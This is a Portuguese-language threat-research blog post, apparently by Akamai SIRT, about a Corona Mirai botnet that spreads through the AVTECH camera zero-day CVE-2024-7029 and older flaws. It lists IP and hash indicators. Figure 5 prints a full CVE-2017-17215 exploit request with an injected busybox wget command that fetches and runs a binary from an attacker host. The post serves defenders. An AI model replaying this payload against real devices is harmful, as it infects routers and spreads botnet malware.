Cuidado com o que não pode ser corrigido: botnet Corona Mirai se espalha por meio de dia zero
Comentários editoriais e adicionais por Tricia Howard
Editado por Maria Vlasak
Resumo executivo
A SIRT (Security Intelligence and Response Team, equipe de resposta e de inteligência de segurança) da Akamai observou uma campanha de botnet que abusa de várias vulnerabilidades exploradas anteriormente, bem como uma vulnerabilidade de dia zero descoberta pela SIRT.
A CVE-2024-7029 (descoberto por Aline Eliovich) é uma vulnerabilidade de injeção de comando encontrada na função de brilho das câmeras de circuito fechado de televisão (CCTV) da AVTECH que permite a RCE (execução de código remota).
Uma vez injetado, o botnet espalha uma variante Mirai com nomes de string que fazem referência ao vírus da COVID-19 em circulação desde 2020, no mínimo.
incluímos uma lista de indicadores de comprometimento (IOCs) para ajudar na defesa contra essa ameaça.
Introdução
A SIRT da Akamai monitora e participa de uma série de feeds de inteligência internos e externos para manter nossas vidas online e a de nossos clientes seguras. Descobrimos várias ameaças ativas por meio de nossa rede global de honeypots, incluindo aquela que estamos discutindo hoje: CVE-2024-7029, descoberta por Aline Eliovich.
Essa vulnerabilidade de RCE de dia zero foi descoberta na função de brilho de câmeras IP da AVTECH e permite uma injeção de comando para distribuir uma variante Mirai em um sistema de destino. Isso pode ser executado remotamente com privilégios elevados (proprietário do processo em execução). Em agosto de 2024, a CISA (Cybersecurity and Infrastructure Security Agency) emitiu um comunicado para ICSs (sistemas de controle industrial) quanto a essa vulnerabilidade, mencionando falta de complexidade de ataque, exploração remota e exploração pública conhecida.
A campanha de botnet tem como alvo várias vulnerabilidades fora da CVE-2024-7029, incluindo várias vulnerabilidades da AVTECH, uma RCE Hadoop YARN, a CVE-2014-8361e a CVE-2017-17215. Isso segue a tendência preocupante do invasor de usar vulnerabilidades mais antigas, provavelmente de baixa prioridade, que permanecem sem correção para atender a uma finalidade mal-intencionada.
Acompanhe e corrija
Se correções ainda não foram aplicadas, o momento de fazê-lo é agora. Muitas dessas vulnerabilidades têm um elemento de RCE. Pior do que isso, a falta de atribuição formal de CVE dificulta o rastreamento do bug, ainda mais a correção.
Nesta publicação do blog, descreveremos o ataque de dia zero e seu impacto, e apresentamos uma lista abrangente de IOCs para facilitar a detecção ou a mitigação.
O que é a CVE-2024-7029?
Em resumo, a CVE-2024-7029 é uma vulnerabilidade em câmeras IP da AVTECH em que o parâmetro "brightness” argument in the “action=” permite a injeção de comando. O agente de ameaça que observamos aproveitou essa vulnerabilidade para espalhar uma variante Mirai com nomes de string que fazem referência ao vírus da COVID-19.
Há quanto tempo ela está ativa?
A primeira campanha ativa que observamos teve início em 18 de março de 2024, mas uma análise mostrou a atividade dessa variante já em dezembro de 2023. A PoC (prova de conceito) da CVE-2024-7029 está disponível publicamente desde pelo menos 2019, mas nunca teve uma atribuição de CVE adequada até agosto de 2024.
Quem é afetado?
Essa vulnerabilidade em câmeras IP da AVTECH afeta as versões de firmware até AVM1203 FullImg-1023-1007-1011-1009. Apesar de o modelo em questão ter sido descontinuado por vários anos, a CISA declarou em seu comunicado que esses dispositivos ainda são usados em todo o mundo, inclusive por autoridades de transporte e outras entidades de infraestrutura críticas.
Como isso funciona?
Essa vulnerabilidade foi descoberta originalmente examinando nossos logs de honeypot. A Figura 1 mostra o URL decodificado para fins de clareza.
Fig. 1: Corpo da carga útil decodificada das tentativas de exploração
A vulnerabilidade está na função de brilho dentro do arquivo /cgi-bin/supervisor/Factory.cgi (Figura 2).
Fig. 2: PoC da exploração
O que pode acontecer?
Nos exemplos de exploração que observamos, basicamente o que aconteceu foi o seguinte: a exploração dessa vulnerabilidade permite que um invasor execute código remoto em um sistema de destino.
A Figura 3 é um exemplo de um agente de ameaças que explora essa falha para fazer download e executar um arquivo JavaScript para buscar e carregar sua carga útil principal de malware. Semelhante a muitos outros botnets, esse também está espalhando uma variante do malware Mirai em seus alvos.
Fig. 3: Strings do downloader de JavaScript
Nesse caso, o botnet provavelmente está usando a variante Corona Mirai, que foi referenciada por outros fornecedores desde 2020 em relação ao vírus da COVID-19.
Após a execução, o malware se conecta a um grande número de hosts por meio do Telnet nas portas 23, 2323 e 37215. Ele também reproduz a string "Corona" no console em um host infectado (Figura 4).
Fig. 4: Execução de malware mostrando a saída para o console
A análise estática das strings nas amostras de malware mostra que o caminho visado é /ctrlt/DeviceUpgrade_1 em uma tentativa de explorar dispositivos da Huawei afetados pela CVE-2017-17215. As amostras têm dois endereços IP de comando e controle codificados, um dos quais faz parte do código de exploração da CVE-2017-17215 (Figura 5).
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 430
Connection: keep-alive
Accept: */*
Authorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"
<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget -g 45.14.244[.]89 -l /tmp/mips -r /mips; /bin/busybox chmod 777 * /tmp/mips; /tmp/mips huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Fig. 5: código de exploração /ctrlt/DeviceUpgrade_1 da CVE-2017-17215
O botnet também visou várias outras vulnerabilidades, incluindo uma RCE Hadoop YARN, a CVE-2014-8361 e a CVE-2017-17215. Observamos essas vulnerabilidades exploradas livremente várias vezes, e elas continuam sendo bem-sucedidas.
Conclusão
Uma vulnerabilidade sem uma atribuição formal de CVE ainda pode representar uma ameaça à sua organização. Na verdade, pode ser uma ameaça significativa. Agentes mal-intencionados que operam esses botnets têm usado vulnerabilidades novas ou desconhecidas para proliferar malware. A CVE-2024-7029 é outro exemplo de uso desse segundo tipo, que está se tornando uma tendência de ataque cada vez mais popular observada pela SIRT.
Existem muitas vulnerabilidades com explorações públicas ou PoCs disponíveis que não têm atribuição formal de CVE e, em alguns casos, os dispositivos permanecem sem patches. O gerenciamento das prioridades de patches é difícil, especialmente quando as ameaças não têm patches disponíveis. Se não houver como corrigir uma ameaça, a desativação do hardware e do software é a maneira recomendada de reduzir os riscos à segurança e de multas regulatórias.
Acompanhe-nos
A SIRT da Akamai continuará descobrindo, monitorando e relatando ameaças como a CVE-2024-7029 para a segurança de nossos clientes, colegas de trabalho e da comunidade de segurança em geral. Para acompanhar as descobertas atuais, você pode nos seguir nas redes sociais ou conferir nossa página de pesquisas sobre segurança.
IOCs
Endereços IPv4
93.123.39[.]72
93.123.39[.]87
93.123.39[.]111
147.78.103[.]177
185.216.70[.]37
94.156.8[.]185
93.123.39[.]173
74.50.81[.]158
94.156.71[.]74
93.123.85[.]213
185.216.70[.]142
45.66.231[.]148
185.216.70[.]79
SHA256 hashes
15a1d52c529d314bb2b5fa8b8bd6c6a496609a283dd0e78e595c929e720d1b5b (“r”)
c0ae1eb249705f61d45ca747c91c02a411557a28792f4064c1d647abb580bc10 (“x86”)
b0f7ef937d77061515907c54967a44da3701e0d2af143164bbf44bb4fc6f26af (“sh”)
e82192fbe00bc7205abe786155bbfc0548f5c6ee9819a581e965526674f3cc57 (“mips”)
9e9e481bb448438572c2695469c85f773ddcd952025e45bee33bbfce2531c656 (“r”)
f4bf61fc335db4f3e7d7d89b534bc1e6ead66a51938e119ea340fe95039935e3 (“mips”)
22553be649f76a060ebbdfd410e295b66803e9c49d23369a726be2c5a25733ab (“sh”
135264de24d499877e95673b9cca737e488042813f41fef7817728a704323fe2 (“r”)
6ad5984bc9af7af6962a080bbb1a35bb56e8671c4b9c1d44e88da5a3f6b9aa82 (“r”)
947f517d3b833cc046b2ea0540aad199b7777fb03057122fb0b618828abdc212 (“r”)
8ac82a770cffbbc8fba73554d7caa117ef6d37ffee468665b95bc406449f91b5 (“r”)
5e264cb009c4d84b6180e47b9ceda3af8897b17b88fccc9c2914706d66abd1d1 (“r”)
372eefdc4bf9f4a4382db2762fcf9a9db559c9d4fff2ee5f5cf5362418caaa92 (“r”)
3995a7e7eb8eeafb0b6da2c3813e61d11993a820d478c87809136de79d8f8280 (“sh”)
40d8f662c187b53fd6fdeb70db9eb262b707e557d3fa4e5e4eacaeaa03ac45f2 (“r”)
4826b0194fbd924aa57b9c4ab1e017f0f45f547189374b0ea761d415fa4285ff (“x86”)
25945c4fe38ed2008f027bd1484b89867b23528c738812d317ddf57f48666b91 (“r”)
cfcae524309a220a48327c50bf32bf5ed3aed5698855b5da9f1ae932fb2df90c (“x86”)
774947944ea370592a30478bb3f26081799f7d7df975a6735e620d3442e7803b (“x86”)
06b1f09a62204472581e6aec381f96014bb6cc3fc1a9cef38bbcfe88bd82e499 (“r”)
4f50d318688c80f08eb7fad6f8788cae459c3420b3b9eb566f936edd7a780ae1 (“sh”)
c15bbfb85bfd8305fad8cc0e0d06cbe825e1e6fc6d8dbe5a8d1ac4243bd77d0c (“x86”)
0a566c39ecbc4107f954cb3e5e240ccaf0018dfac9b5062b4db7971fb3d9f413 (“x86”)
2d7351aa765bb2feed9536cc392b2013361c193e99841c5b56591d988bd4b582 (“x86”)
5d58f0fa54784e9c90825cba9e2052f691cdcfe85b0796a6379982832563090d (“x86”)